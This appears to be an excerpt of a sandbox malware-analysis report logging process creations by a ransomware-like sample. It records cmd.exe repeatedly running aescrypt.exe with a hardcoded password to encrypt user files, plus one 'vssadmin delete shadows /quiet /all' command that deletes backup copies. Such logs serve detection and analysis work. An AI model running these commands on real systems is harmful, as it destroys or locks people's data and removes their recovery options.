Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'
